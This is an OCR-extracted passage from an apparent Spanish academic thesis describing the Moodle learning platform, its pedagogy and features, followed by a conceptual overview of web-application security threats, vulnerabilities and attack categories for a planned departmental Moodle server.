Moodle es un proyecto activo y en constante evolucion. El desarrollo fue iniciado por Martin
Dougiamas, que continua dirigiendo el proyecto. Un importante numero de prototipos fueron
creados y descartados antes del lanzamiento, hacia un mundo desconocido, de la version 1.0 el 20
de agosto de 2002. Esta version se orientd a grupos pequefos a nivel de Universidad, y fue objeto
de estudios de investigaciéon de casos concretos que analizaron con detalle la naturaleza de la
colaboracién y la reflexion que ocurria entre estos pequefios grupos de participantes adultos.
Desde entonces, han salido nuevas versiones que afladen nuevas caracteristicas, mayor

compatibilidad y mejoras de rendimiento.

A medida que Moodle se extiende y crece su comunidad, recogemos mas informacién de una
mayor variedad de personas en diferentes situaciones de ensefanza. Por ejemplo, Moodle
actualmente no solo se usa en las universidades, también se usa en enseflanza secundaria,
enseflanza primaria, organizaciones sin animo de lucro, empresas privadas, profesores
independientes e incluso padres de alumnos. Un nimero cada vez mayor de personas de todo el

mundo contribuye al desarrollo de Moodle de varias maneras.

Una importante caracteristica del proyecto Moodle es la pagina web moodle.org, que proporciona
un punto central de informacién, discusién y colaboracion entre los usuarios de Moodle,
incluyendo administradores de sistemas, profesores, investigadores, disefiadores de sistemas de
formacion y, por supuesto, desarrolladores. Al igual que Moodle, esta web estda continuamente
evolucionando para ajustarse a las necesidades de la comunidad, y al igual que Moodle, siempre
sera libre. En el 2003 fue presentado moodle.com como una empresa que ofrece soporte
comercial adicional para aquellos que lo necesiten, asi como alojamiento con administracion,

consultoria y otros servicios.

I11.4Filosofia



El disefio y el desarrollo de Moodle se basan, como apuntabamos mas arriba, en una determinada
filosoffa del aprendizaje, una forma de pensar que a menudo se denomina "pedagogia
constructivista social", esta frase desarrolla los cuatro conceptos principales subyacentes de
Moodle. Tengamos en cuenta que cada uno de estos conceptos representa una forma de entender
un gran nimero de distintas investigaciones, o sea que estas definiciones pueden parecer
incompletas si ya han lef{do sobre ellas antes.

Los cuatro conceptos principales subyacentes y que se muestran en a figura 9, son:

e Constructivismo
e Construccionismo
e Constructivismo social

e Conectados y Separados

Construccionismo

Constructivismo
Social

Interacidn vs Tranferencia
Aprender vs Ser ensefiado Grupo Emisor/Receptor de

“construccionismo®™

Tnoodle

D

Construccionismo - \prendizaje
Separad nectado

Aprendizaje efectivo cuando

- " Comportamiento/motivaciones
construimos” para otros

es un debate construccionista

Figura 9. Los cuatro conceptos principales del E-Learning.

111.4.1Constructivismo

Este punto de vista mantiene que la gente construya activamente nuevos conocimientos a medida
que interactda con su entorno.
Todo lo que se lee, ve, oye, siente y toca se contrasta con conocimiento anterior y se encaja

dentro del mundo que hay en la mente, puede formar nuevo conocimiento que se lleva consigo.



Este conocimiento se refuerza si se puede usar con éxito en el entorno que le rodea. No solo es
un banco de memoria que absorbe informaciéon pasivamente, ni que puede "transmitir"
conocimiento solo leyendo algo o escuchando a alguien. Esto no significa que no puedes
aprender nada leyendo una pagina web o asistiendo a una lecciéon. Es obvio que puede hacerlo;
solo indica que se trata mas de un proceso de interpretacion que de una transferencia de

informacién de un cerebro a otro.

111.4.2 Construccionismo

El construccionismo explica que el aprendizaje es particularmente efectivo cuando se construye
algo que debe llegar otros. Esto puede ir desde una frase hablada o enviar un mensaje en internet,

a artefactos mas complejos como una pintura, una casa o un paquete de software.

I11.4.3Construccionismo social

Esto extiende las ideas anteriores a la construccion de cosas de un grupo social para otro, creando
colaborativamente una pequefa cultura de artefactos compartidos con significados compartidos.
Cuando alguien esta inmerso en una cultura como esta, esta aprendiendo continuamente acerca de
cémo formar parte de esa cultura en muchos niveles. Un ejemplo muy simple es un objeto como
una copa. El objeto puede ser usado para muchas cosas distintas, pero su forma sugiere un
"conocimiento" acerca de como almacenar y transportar liquidos. Un ejemplo mds complejo es un
curso en linea: no solo las "formas" de las herramientas de software indican ciertas cosas acerca de
coémo deberfan funcionar los cursos en linea, sino que las actividades y textos producidos dentro

del grupo como un todo ayudaran a definir a cada persona su forma de participar en el grupo.

I11.4.4Conectados y separados



Esta idea explora mas profundamente las motivaciones de los individuos en una discusién. Un
comportamiento separado es cuando alguien intenta permanecer 'objetivo’, se remite a los hechos
y tiende a defender sus propias ideas usando la l6gica buscando agujeros en los razonamientos de
sus oponentes. El comportamiento conectado es una aproximacién mas empatica, que intenta
escuchar y hacer preguntas en un esfuerzo para entender el punto de vista del interlocutor. El
comportamiento constructivo es cuando una persona es sensible a ambas aproximaciones y es

capaz de escoger una entre ambas como la apropiada para cada situacion particular.

En general, una dosis saludable de comportamiento conectado en una comunidad de aprendizaje
es un potente estimulante para aprender, no solo aglutinando a la gente sino también
promoviendo una reflexiéon profunda y un replanteamiento de las propias opiniones y puntos de

vista.

En conclusiéon, una vez que nos planteamos estos temas, nos ayuda a concentrarnos en las
experiencias que podrian ser mejores para aprender desde el punto de vista del alumnado, en vez
de limitarse simplemente a proporcionarles la informacién que cree que necesitan saber. También
le permite darse cuenta de como cada participante del curso puede ser profesor ademas de
alumno. El trabajo como 'profesor’ puede cambiar de ser 'la fuente del conocimiento' a ser el que
influye como modelo, que establece una relacién con los estudiantes de una forma personal que
dirija sus propias necesidades de aprendizaje, y moderando debates y actividades de forma que
guie al colectivo de estudiantes hacia los objetivos docentes de la clase. Obviamente, Moodle no
fuerza este estilo de comportamiento, pero es para lo que mejor sirve. En el futuro, a medida que
las infraestructuras técnicas de Moodle se estabilicen, las mejoras en soporte pedagdgico seran la

linea principal del desarrollo de Moodle.

II1.5Softwarelibre

Moodle se distribuye gratuitamente como Software Libre (Open Source), bajo Licencia publica
GNU. Esto significa que Moodle tiene derechos de autor (copyright), pero que tenemos algunas
libertades: podemos copiar, usar y modificar Moodle siempre que aceptemos proporcionar el

codigo fuente a otros, no modificar la licencia original y los derechos de autor, y aplicar esta



misma licencia a cualquier trabajo derivado de ¢él. Es facil de instalar en casi cualquier plataforma
con un servidor Web que soporte PHP. Solo requiere que exista una base de datos (y se puede
compartir). Con su completa abstracciéon de bases de datos, soporta las principales marcas de
bases de datos (en especial MySQL). Finalmente, es importante destacar que, al ser Moodle una
aplicaciéon Web, el usuario solo necesita para acceder al sistema un ordenador con un navegador
Web instalado (Mozilla Firefox, Internet Explorer, o cualquier otro) y una conexiéon a Internet.
Por supuesto, también se necesita conocer la direccion Web (URL) del servidor donde Moodle se
encuentre alojado y disponer de una cuenta de usuario registrado en el sistema, en el Diagrama 1

se puede apreciar un curso en Moodle).

II1.6Caracteristicas basicas de Moodle

A continuacién se detallaran de forma resumida las principales caracteristicas que presenta

Moodle en los tres niveles de relevancia:

IT1.6.1Nivel general

e Interoperabilidad: Debido a que el sistema Moodle se distribuye bajo la licencia
GNU, propicia el intercambio de informaciéon gracias a la utilizacién de los
“estandares abiertos de la industria para implementaciones web” (SOAP, XML...)
Al usar un lenguaje web popular como PHP y MySQL como base de datos, es
posible ejecutarlo en los diversos entornos para los cuales estan disponibles estas

herramientas tales como Windows, Linux, Mac, etc.

e Escalable: Se adapta a las necesidades que aparecen en el transcurso del tiempo.
Tanto en organizaciones pequefias como grandes se pueden utilizar la arquitectura

web que presenta Moodle.



e DPersonalizable. Moodle se puede modificar de acuerdo a los requerimientos
especificos de una institucion o empresa. Por defecto incluye un panel de
configuracién desde el cual se pueden activar o cambiar muchas de sus

funcionalidades.

e FEconémico. En comparacion a otros sistemas propietarios Moodle es gratuito, su

uso no implica el pago de licencias u otro mecanismo de pago.

e Seguro. Implementa mecanismos de seguridad a lo largo de toda su interface,

tanto en los elementos de aprendizaje como evaluacion.

I11.6.2 Nivel pedagdgico

e DPedagbgicamente flexible: Aunque Moodle promueve una pedagogia
constructivista social (colaboracion, actividades, reflexion critica, etc.), es
factible wusatlo con otros modelos pedagdgicos. Permite realizar un

seguimiento y monitoreo sobre el alumno o estudiante.

I11.6.3Nivel funcional
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Figura 10. Funcionalidad de Moodle.

Facilidad de uso: Permite la Gestion de Perfiles de Usuario. Permite almacenar
cualquier dato que se desee sobre el alumno o profesor, no solo los que
aparecen por defecto. Esta caracteristica es muy util para establecer estadisticas

socioeconomicas, fisiologicas o demograficas se puede ver en la Figura 10.

Facilidad de Administracion: Cuenta con un panel de control central desde el
cual se puede monitorear el correcto funcionamiento y configuraciéon del
sistema. Permite realizar examenes en linea, es decir publicar una lista de
preguntas dentro de un horario establecido y recibir las respuestas de los
alumnos. En el caso de las preguntas con alternativas o simples, es posible
obtener las notas de manera inmediata ya que el sistema se encarga de calificar
los examenes. Las preguntas se almacenan en una base de datos, permitiendo
crear bancos de preguntas a lo largo del tiempo y revolverlas durante el
examen con la intencién de evitar que dos o mas alumnos reciban la misma

pregunta.

Permite la presentacion de cualquier contenido digital. Se puede publicar todo
tipo de contenido multimedia como texto, imagen, audio y video para su uso

dentro de Moodle como material didactico.



e Permite la gestion de tareas. Los profesores pueden asignar tareas o trabajo
practicos de todo tipo, gestionar el horario y fecha su recepcion, evaluarlo y
transmitir al alumno la retroalimentacion respectiva. Los alumnos pueden

verificar en linea su calificacion y las notas o comentarios sobre su trabajo.

e Permite la implementacion de aulas virtuales. Mediante el uso del chat o sala de
conversacion incorporada en Moodle, se pueden realizar sesiones o clases
virtuales, en las cuales el profesor podria plantear y resolver interrogantes,
mientras que los alumnos aprovechan la dinamica para interactuar tanto con el

pI'OfCSOt asi como con otros alumnos.

e Permite la implementacion de foros de debate o consulta. Esta caracteristica se
puede usar para promover la participaciéon del alumnado en colectivo hacia el
debate y reflexiéon. Asi como colaboracion alumno a alumno hacia la
resolucion de interrogantes. El profesor podria evaluar la dinamica grupal y

calificar el desarrollo de cada alumno.

e Permite la importaciéon de contenidos de diversos formatos. Se puede insertar
dentro de Moodle, contenido educativo proveniente de otras plataformas bajo

el uso del estaindar SCORM, IMS, etc.

e DPermite la inclusién de nuevas funcionalidades. La arquitectura del sistema
permite incluir de forma posterior funcionalidades o caracteristicas nuevas,

permitiendo su actualizacién a nuevas necesidades o requerimientos.

Los principales beneficios son:

» Libertad. Moodle no se encuentra atado a ninguna plataforma

(Windows, Linux, Mac) especifica, brindando total libertad para

escoger la que se ajuste a sus necesidades tanto en el presente como en



el futuro. El no estar atado a un proveedor de hardware, software o
servicios le permitira contar siempre con un abanico de opciones. La
libertad que brinda Moodle también se aplica al hecho de tener de
contar con los archivos fuente y poder modificarlo a su discrecion, sin

que ello implique un costo o una negociacion con empresa alguna.

Reduccion de costos. Siempre que se compra o adquiere un sistema,
sea de cualquier tipo, es necesario desembolsar una cantidad de dinero
en el pago por las licencias de usuario. Esto no sucede con Moodle,
porque es gratuito y no se requiere pagar ninguna licencia para su uso o
implementaciéon dentro de una institucion. De esta forma estamos
ahorrando una cantidad inicial de la inversion de cualquier sistema. Los
costos posteriores de mantenimiento se ven reducidos gracias a la
escalabilidad del sistema, que permite mantener la operatividad tanto
para una cantidad reducida como para una gran cantidad usuarios sin

tener realizar modificaciones dentro del sistema.

Integraciéon. Moodle es un sistema abierto lo que significa que es

posible integrarlo con otros sistemas, tanto para acciones:

o Genéricas. Puede comunicar Moodle con su sistema particular
de autenticacién y validar a los alumnos contra esa base de
datos. Es posible integrarlo con sistemas de pago para el cobro
de las inscripciones a los cursos virtuales, etc. o Especificas.
Puede integrar su sistema de registros académicos con Moodle,
para la recepciéon de las calificaciones provenientes de los
examenes en linea, agilizando asi los procesos de generacion de
actas por parte de los profesores, esto es de vital importancia
en las universidades. Estos son solo unos ejemplos existen

muchos otros que puede ir descubriendo durante su uso.



o Gestion del Conocimiento. Permite el almacenamiento vy
recuperacion de conocimiento producto de las actividades e
interrelaciones alumno - profesor, alumno - alumno. Este
beneficio es claramente visible durante su aplicaciéon en la

capacitacion de personal dentro de instituciones o empresas.

o Arquitectura Modular. Moodle agrupa sus funciones o
caracteristicas de a nivel de moddulos. Estos moddulos son
independientes, configurables, ademas de poder ser habilitados
o deshabilitados segin sea conveniente. Como habfamos
mencionado Moodle permite afiadir nuevas funcionalidades,
para ello solo necesitamos instalar y activar el modulo que

satisfaga nuestras necesidades.
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Plataforma educativa MOODLE

es PRSI Conjunto de Software Libre

{Modular Object-Oriented Dynamic
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Diagrama 1. Diagrama de un curso en Moodle.






Capitulo IV.Marco tedrico

IV.1Introduccion

En este capitulo se desarrollaran los conceptos basicos relacionados con la seguridad en

aplicaciones Web.

IV.2 Aplicacién Web

El uso de aplicaciones web se encuentra muy extendido, es la forma en la que se interactia de
manera mayoritaria con los usuarios de internet.

Se debe de conocer qué tipo de aplicacion Web se tiene, para poder entender cudles son sus
posibles debilidades: no es lo mismo contar con usuarios especializados en el area (psicélogos,
abogados) que contar con usuarios generales (estudiantes, amas de casa), ya que la orientacion de

la usabilidad de la aplicacion se determina por ellos.



Una aplicacion Web es un tipo especial de aplicacion tipo: Cliente-servidor. El cliente (Navegador
Web) realiza peticiones, envia informaciéon (por protocolo HTTP) al servidor (servidor Web) y

recibe la que el servidor le responde.4 Ver ejemplo en la figura 11.

Cliente envia la solicitud

La solicitud es procesada por una interfaz

3

La solicitud la
NS

recibe el servidor

El servidor procesa ‘
la solicitud

El servidor responde con la
informacidn solicitada

Figura 11. Arquitectura Cliente-Servidor (Interaccion)

El cliente, gestiona las peticiones del usuario y la recepcion de las paginas que provienen del
servidor, igualmente, interpreta los documentos HTML y sus recursos.

El servidor, es el programa residente que espera peticiones: demonio (Daemon en inglés) en Unix
y servicio en servidores de Microsoft. En el servidor se encuentran paginas estaticas, scripts o
programas que al ser invocados se ejecutan y dan como resultado una pagina HTML.

Actualmente existen diferentes lenguajes de programacion para hacer desarrollos en la web, estos
han ido surgiendo de acuerdo a las tendencias y necesidades de las plataformas. En el inicio de
Internet las aplicaciones Web creadas fueron realizadas mediante lenguajes estaticos,
posteriormente con el desarrollo y el avance de nuevas tecnologfas surgen nuevas necesidades que
dieron lugar al desarrollo de lenguajes dinamicos de programacion que utilizan las bases de datos y

permiten interactuar con los usuarios.

4 Ingenierfa de requetimientos, arquitectura de tres capas [en linea], http://proy-

pnfi.foroactivo.net/search.forumesearch author=Admin&show results=posts, [Citado el 5 de septiembre de 2011]


http://proy-pnfi.foroactivo.net/search.forum?search_author=Admin&show_results=posts
http://proy-pnfi.foroactivo.net/search.forum?search_author=Admin&show_results=posts

IV.3Lenguajes Web

En programacién un lenguaje es un conjunto de simbolos y reglas que permiten desarrollar
programas definiendo su estructura, expresiones y significado de sus elementos. Esto sin lugar a
dudas permite facilitar la tarea de programacién, ya que posibilita ser leidos y escritos por

personas representando los codigos de manera simbdlica.

HTML: Es el lenguaje de marcado predominate para la construccion de paginas Web. Es usado
para describir la estructura y el contenido en forma de texto, asi como para complementar el texto

con objetos como imagenes’.

JavaScript: Es un lenguaje de scripting orientado a objetos utilizados para acceder a objetos en
aplicaciones. Se utiliza principalmente, integrado en un navegador Web permitiendo el desarrollo

de interfaces de usuario mejoradas y paginas web dinamicas’.

PHP: Es un lenguaje de programacion utilizado para la creacion de un sitio Web. PHP es un
lenguaje de script interpretado en el lado del servidor utilizado para la generacion de paginas Web
dindmicas, embebidas en paginas HTML y ejecutadas en el servidor. PHP no necesita ser
compilado para ejecutarse. Para su mayor parte de sus sintaxis ha sido tomada de C, Java y Petl

) ; 7
con algunas caracteristicas CSpCClﬁCﬂS .

IV.4Seguridad Informatica.

El objetivo de la seguridad informatica sera mantener la integridad, disponibilidad, privacidad
(sus aspectos fundamentales), control y autenticidad de la informacién manejada por

8
computadora”.

5> CODEBOX, Glosario [En linea], http://www.codebox.es/glosario, [Citado el 5 de septiembre de 2011]
¢ PORTAL HACKER, Programacion en general [en linea],
<http://www.portalhacker.net/index.php/topic,115175 /wap2.html>

7 New Web Star, Los diferentes lenguajes de programacién Web [En linea] <http://proy-
pnfiforoactivo.net/seatch.forumrsearch_author=Admin&show_results=posts>

8 ALDEGANI, Gustavo. Miguel. Seguridad Informatica. MP Ediciones. Argentina. 1997. Pag.22



http://www.codebox.es/glosario

La seguridad en informatica por lo tanto consiste en asegurar que los recursos del sistema de

informacién (material informatico o programas) de una organizacion

La seguridad en informatica debe proteger todos los activos de una organizacion.

Los activos son los elementos que la seguridad informatica tiene como objetivo proteger. Los

activos estan conformados por tres elementos:

b)

Informacion
Es el objeto con mayor valor para una organizacién, el objetivo es el resguardo de la
informacién, independientemente del lugar donde se encuentre registrada, puede ser en

algun medio electrénico o fisico.

Equipos que la soportan

Software, hardware y organizacion.

Usuatios
Individuos que utilizan la estructura tecnolégica y de comunicaciones que maneja la

informacién.

Con base a las distintas fuentes, el concepto de seguridad en la informatica es utdpico porque no

existe un sistema 100% seguro, sin embargo para que un sistema se pueda definir como seguro

debe tener estas seis caracteristicas:

1.

Integridad: La informacién solo puede ser modificada por quien esta autorizado para
hacerlo. La integridad se refiere a la seguridad de que la informacién no ha sido alterada,
borrada, reordenada, copiada, etcétera, ya sea durante el proceso de transmisién o en su
propio equipo de origen. Es un riesgo comun que el atacante al no poder descriptar un
paquete de informacién y, sabiendo que es importante, simplemente lo intercepte y

lo borre.

Confidencialidad: La informacién sélo debe ser legible para los procesos o el personal

autorizados. Existen infinidad de posibles ataques contra la privacidad, especialmente en la


http://www.monografias.com/trabajos/seguinfo/seguinfo.shtml

comunicaciéon de los datos. La transmision a través de un medio presenta multiples
. . . . " o .

oportunidades para ser interceptada y copiada, las lineas "intervenidas", la intercepcion o

recepcion electromagnética no autorizada o la simple intrusién directa en los

equipos donde la informacién esta fisicamente almacenada.

3. Disponibilidad: Debe estar disponible cuando se necesita. La disponibilidad de la
informacién se refiere a la seguridad de que la informacién pueda ser recuperada en el
momento que se necesite, esto es, evitar su pérdida o bloqueo, bien sea por ataque doloso,

mala operacion accidental o situaciones fortuitas o de fuerza mayor.

4. Irrefutabilidad o identidad: (No-Rechazo o No Repudio) Que no se pueda negar la autoria
de cierta actividad. Garantiza que la identidad o responsabilidad de un evento corresponde

a un actor especifico generador de dicho evento.

5. Control de acceso: Habilitar los mecanismos que permitan monitorear el acceso a los
activos de informacién, que incluyen los procedimientos de administraciéon de usuarios,
definicién de responsabilidades o perfiles de seguridad y el control de acceso a las
aplicaciones, esto es, quién tiene la autorizaciéon y quién no para acceder a una parte de la

informacién.

6. Autenticacion:confirmacién de la identidad declarada de usuatios. Son necesarios métodos
de autenticacion adecuados para muchos servicios y aplicaciones, como la conclusién de
un contrato en linea, el control del acceso a determinados servicios y datos, la
autenticacion de los sitios web, etcétera, es decir, la prevencion de suplantaciones, que se

garantice que quien firma un mensaje es quien dice ser.

Finalmente se tiene el problema de la verificacion de la propiedad de la informacion, es decir, que

una vez que se ha detectado un fraude, determinar la procedencia de la informacion.

El objetivo de la seguridad informatica es preservar los activos de una organizacién y mantener su

operacion, basado en las caracteristicas anteriores.



EL contexto general de la seguridad asi como su ciclo administrativo y sus relaciones se pueden

apreciar en los siguientes diagramas2 y 3.
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Diagrama 2. Contexto de la seguridad informatica y sus relaciones.
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Diagrama 3.Ciclo de administracion de la seguridad.

Debido a que la seguridad no existe al 100%, es necesario que la seguridad se ve como un ciclo,
para que exista un constante resguardo de la informacion. El ciclo se resume en planear, proteger,
detectar y reaccionar porque es la estrategia que da constancia y continuidad a la seguridad en una
organizacion y permite modificar y mejorar siempre que sea necesario. La seguridad requiere
supervisién continua, no es una accion estatica debido a que las actividades en una organizacion

son dinamicas ya que cambian constantemente, asi como quienes forman parte de la misma.

En mayor o menor grado, todo sistema necesita seguridad. En una primera aproximacion, para
determinar cudl es la seguridad adecuada en un sistema habra que estudiar cuales son los riesgos a
los que se esta expuesto, teniendo en cuenta el valor de la informacién que contiene, los costos de
recuperacion ante un hipotético incidente y por supuesto evaluar lo que costaria la proteccion.
Las amenazas y las vulnerabilidades ocasionan e incrementan los riesgos por lo que es importante

saber en qué consisten.

IV.4.11dentificando activos

Los activos con los que se contara son los siguientes:
» Informacién personal. Estudiantes (datos personales, calificaciones, evaluaciones) y

profesores (datos personales, materias que impartiran por medio de esta modalidad).



» Informacién del servidor. Nuestra plataforma Moodle donde se publicaran articulos,

actividades, exdmenes, practicas, manuales, cursos para la educacion a distancia.

» Un servidor.
En caso de que existiera una pérdida de alguno de estos activos, se tomaran acciones en caso de

pérdida.

1V.4.2Amenazas

Una amenaza es todo aquello que puede, intenta o pretende destruir o dafar los activos en una
organizacion. La amenaza es un evento que puede desencadenar un incidente en la organizacion,

se encuentra como peligro latente y puede o no llegar a manifestarse.

IV.4.2.1Tipos de amenazas

Las amenazas surgen de distintas fuentes por lo que las podemos clasificar en cinco tipos:

a) Humanas: Surgen por la ignorancia, descuido, negligencia y hasta inconformidad por parte

de algun usuario en el manejo de la informacién.

Este tipo de amenaza incluye:

e Ingenierfa social: Es la técnica especializada o empirica del uso de acciones
estudiadas o habilidosas que permiten manipular a las personas para que
voluntariamente realicen actos que normalmente no harfan. Con esta practica se
puede obtener informaciéon confidencial a través de la manipulacién de usuatios

legitimos.



b)

d)

* Robo: Puesto que el robo, normalmente no supone la destruccion de
la informacion original, sus consecuencias seran de tipo econdmica, tacticas

0 quizas una amenaza contra la intimidad de las personas.

¢ Sabotaje: Puede estar dirigido contra la informaciéon (en forma de destruccion o
manipulacién) o también tener como objetivo la destruccion de los equipos, por lo
que puede afectar tanto a la disponibilidad del sistema como la integridad de la

informacién contenida.

¢ Fraude: Consiste en manipular la informacién con el fin de obtener un beneficio.

¢ Intrusos remunerados: Persona que consigue acceder a los datos o programas de
los cuales no tiene acceso permitido (cracker, defacer. script kiddie o script boy,

viruxer, etcétera).

¢ Personal interno: Las pujas de poder que llevan a disociaciones entre los sectores y

soluciones incompatibles para la seguridad informatica.

e Terrorismo: Actos que atentan contra la informacién para causar diversos dafios a

los usuarios, manipulando o eliminando informacion.

Errores de hardware: Son las fallas fisicas que pueden existir en los dispositivos que
conforman un sistema. Este tipo de errores afectan a la disponibilidad del sistema

pudiendo provocar también una pérdida de informacion.

Errores de la red: Significa tener problemas debido al mal disefio e implementacién de la
red en una organizaciéon. Cuando se presentan estos errores no existe un buen flujo de

informacién provocando problemas de disponibilidad.

Problemas de tipo légico o errores de software: Suceden cuando los mecanismos de
seguridad no estan correctamente implementados en un sistema, provocando que diversos

programas maliciosos puedan penetrar y causar dafios en la informacién; asi como



también el sistema de la organizaciéon puede sufrir un mal funcionamiento. Los
programas maliciosos son destinados a perjudicar o a hacer un uso ilicito de los recursos
del sistema. Estos programas pueden ser un virus informatico, un gusano informatico, un

troyano, una bomba légica o un programa espia o spyware.

e) Naturales: Los desastres naturales como inundaciones, fuego, terremotos, etcétera, suelen
tener consecuencias serias para los sistemas; tales como dafios en los equipos, pérdida de
informacién y no disponibilidad. La ubicacién territorial es un factor muy importante que
determina el riesgo que se corre frente a cada desastre. Por ejemplo, al igual que en una
zona sismica el riesgo de terremoto es alto, en un lugar seco rodeado de arboles es mayor

el de incendio. A este tipo de amenazas también se les conoce como actos de Dios.

Seguridad se podria definir como todo aquello que permite defenderse de una amenaza. Se
considera que algo es o esta seguro si ninguna amenaza se cierne sobre ello o bien el riesgo de
que las existentes lleguen a materializarse es despreciable, lo cual pocas veces se podra afirmar

de forma tajante, sea cual sea la naturaleza de lo que se esté hablando.

1V.4.2.2 Identificaciéon de amenazas

» Una de las amenazas mas graves que se pueden presentar es el robo de equipo fisico de
almacenamiento de informacion, el cual representa el costo mayor y en él se mantendra la
informacién utilizada para el departamento de Control y Robotica, ya que el equipo se

encontrara en uno de los laboratorios de Control, del mismo departamento.

» La informacién que se manejara es para dar cursos y exdmenes en linea a los estudiantes
para alguna clase especifica, por lo cual podemos determinar que en alguna ocasion,

posiblemente algunos alumnos intente romper algunas claves de acceso.

» Otra amenaza que se puede predecir es el llenado de almacenamiento en disco duro del
servidor Web, al realizar actividades que permitan el subido de archivos al servidor

(documentos, actividades, tareas, etc.), pues este servicio sera para la educacion a distancia.



» Posible infecciones de equipo por virus (softwatre malicioso o software malintencionado)

» Robo de informacion personal debido al control de acceso.

» El mal funcionamiento de un equipo de hardware por la antigiedad puede dejar de

funcionar adecuadamente total o parcialmente.

» Las fallas de energia eléctrica.

IV.4.3Vulnerabilidades

Por vulnerabilidad se entiende la exposicion latente a un riesgo, el punto de un sistema que
puede ser dafiado. Las vulnerabilidades abarcan todo lo que se deja de hacer en una
organizacion, todo lo que no se considera, lo que no se estudia, lo que no se aplica, etcétera.
En el area de informatica, existen varios riesgos tales como: ataque de virus, codigos
maliciosos, gusanos, caballos de Troya y hackers; no obstante, con la adopcién de Internet
como instrumento de comunicacién y colaboracion, los riesgos han evolucionado y ahora, las
empresas deben enfrentar amenazas combinadas; es decir, la integracién de herramientas
automaticas de "hackeo", accesos no autorizados a los sistemas y capacidad de identificar
y explotar las vulnerabilidades de los sistemas operativos, es decir la consumacién de una

amenaza.

Es por la existencia de un nimero importante de amenazas y riesgos, que la infraestructura de
red y recursos informaticos de una organizaciéon deben estar protegidos bajo un esquema de
seguridad que reduzca los niveles de vulnerabilidad y permita una eficiente administracion del

riesgo.

Es importante tomar en consideracion, que las amenazas no disminuiran y las vulnerabilidades
no desapareceran en su totalidad, por lo que los niveles de inversion en el area de seguridad en

cualquier empresa, deberan ir acordes con la importancia de la informacién en riesgo.



IV.4.3.1. Tipos de vulnerabilidades

Las vulnerabilidades pueden ser de tipo:

X/
L X4

X/
L X4

Natural: Problemas con desastres naturales o ambientales, por ejemplo, el no contar con
extinguidores en caso de incendio o la construccién en zonas de alto riesgo sismico

debido a la falta de un analisis previo.

Fisica: Problemas con el acceso a las instalaciones e incluso a los equipos que contienen

informacién que se busca proteger. Por ejemplo:

* Acceso fisico a los equipos informaticos sin control alguno.

* Acceso a los medios de transmision (cables, ondas...) sin previa autorizacion.

Loégica: programas o algoritmos que puedan alterar el almacenamiento, acceso,
transmision, etcétera; por ejemplo errores de programacion y disefio debido a que no se

siguieron metodologias o no se llevaron a cabo pruebas necesarias.

Hardware: Problemas con los equipos, por ejemplo, el evitar leer los manuales de los

dispositivos y no tomar en cuenta sus caracteristicas para un funcionamiento éptimo.

Red: Fallas con la red de la organizacién, por ejemplo, una mala administracion de la red o

un mal disefio debido al incumplimiento de estandares internacionales.

Humana: Las personas que administran y utilizan el sistema constituyenla mayor

vulnerabilidad del sistema.

o Toda la seguridad del sistema descansa sobre el administrador, o administradores.
o Los usuarios también suponen un gran riesgo debido a descuidos, negligencia,

ignorancia, revanchas, etcétera.



La tnica lucha contra estas vulnerabilidades es la implantacion de sistemas de seguridad.

IV.4.3.2. Identificacién de vulnerabilidades

o0

X/
L X4

X/

L X4

X/
L X4

X/
L X4

Natural: No se cuenta con el equipo necesario en caso de incendios o sismos.

Fisica: El acceso al laboratorio donde se encontrara el servidor fisicamente no es

controlado de manera eficaz, existe personal que puede tener acceso a él.

Hardware: No contar con un no-break para prevenir la perdida de informaciéon debida a

fallas de suministro de energfa eléctrica.
Red: La denegacién de servicio puede ocasionar varios problemas, una de ellos es la
perdida de comunicacion entre el estudiante y su examen en linea, mala configuracion del

firewall, y encontrar puertos de comunicacion abiertos.

Humana: Se desconocen las politicas de seguridad en la institucion.

IV.4.4Ataques

Los ataques son todas aquellas acciones o eventos, exitosos o no, que atentan sobre el buen

funcionamiento del sistema, es decir, atentan contra la confidencialidad, integridad o

disponibilidad del sistema informatico.

Un ataque es la realizacién de una amenaza tras explotar una o varias vulnerabilidades.



Las cuatro categorias generales de ataques en redes toman en cuenta el flujo normal para él envié
de la informacién, en donde se ven involucrados un emisor y un receptor de informacién. Estas

categorias son:

% Interrupcion: Es un ataque contra la disponibilidad en donde el receptor no recibe la
informacién del emisor. Se puede presentar, por ejemplo. al desconectarse et cable de red
en un equipo.

% Suplantacion: Es un ataque contra la autenticacion en donde una tercera entidad llamada
perpetrador aparece entre el emisor y el receptor, haciendo que éste ultimo tenga
contacto con la entidad maliciosa y no con el verdadero emisor de informacién. Por

ejemplo, las paginas falsas en Internet.

% Intercepcion: Ataque contra la confidencialidad en donde un perpetrador consigue la
informacién que es enviada de emisor a receptor. Por ejemplo, programas que capturan
contrasenas.

% Modificacién: Ataque contra la integridad. En este caso, la informacién pasa por el

perpetrador antes de llegar con el emisor, por lo que puede sufrir cambios o dafios. Por

ejemplo. la modificaciéon de imagenes.

IV.4.4.1 Tipos de ataques

Las cuatro categorias antes mencionadas pueden dividirse en dos tipos de ataques: pasivos y
activos, esto con base en la manipulacién de la informacién.
a) Ataques pasivos
En los ataques pasivos el atacante (perpetrador, oponente o persona que se entromete al
sistema) observa, escucha, obtiene o monitorea mientras la informacién esta siendo

transmitida, es decir, no altera en ningun momento la informacion.

Los principales objetivos del atacante pasivo son:



b)

% Intercepcion de datos: En este caso, el atacante solo tiene conocimiento
del contenido de la informacion.

% Analisis de trafico: Consiste en la observacion de todo el trifico de informacion
que se transmite por la Red.

Con los ataques pasivos se logra la obtencién del origen y destinatario de

la comunicacién (emisor y receptor), control de volumen de trafico, es decirse conoce

la frecuencia y longitud de los mensajes ademas de que el perpetrador tiene el control

de las horas habituales de intercambio de datos entre las entidades de comunicacién.

Es muy dificil la deteccién de los ataques pasivos debido a que no se provoca ninguna
alteracion de los datos pero si se pueden prevenir, para lograrlo es importante contar con
mecanismos de cifrado de informacién, entre otros.

Dentro de este tipo de ataques podemos clasificar a la intercepcion.

Ataques activos
En los ataques activos el atacante modifica la informacién, modifica la corriente de datos

o incluso una interrupcion o desvio de informacion.

Los ataques activos se clasifican de la siguiente manera:

+ Enmascaramiento o suplantacion de identidad: Es aqui donde el intruso se hace

pasar por una entidad diferente.

% Replica o reactuacion: En este caso, uno o varios mensajes legitimos

son capturados y replicados para saturar al sistema.

** Modificacién de mensajes: consiste en que la informacién original del mensaje

transmitido, es alterada, provocando con esto un efecto no autorizado.

% Degradacion del Servicio: en este ataque se inhibe o impide el uso normalde los

recursos informaticos o de comunicaciones.



En los ataques activos como hay modificacion de la informacion, es posible detectar estos

ataques, aunque en algunos casos es demasiado tarde.

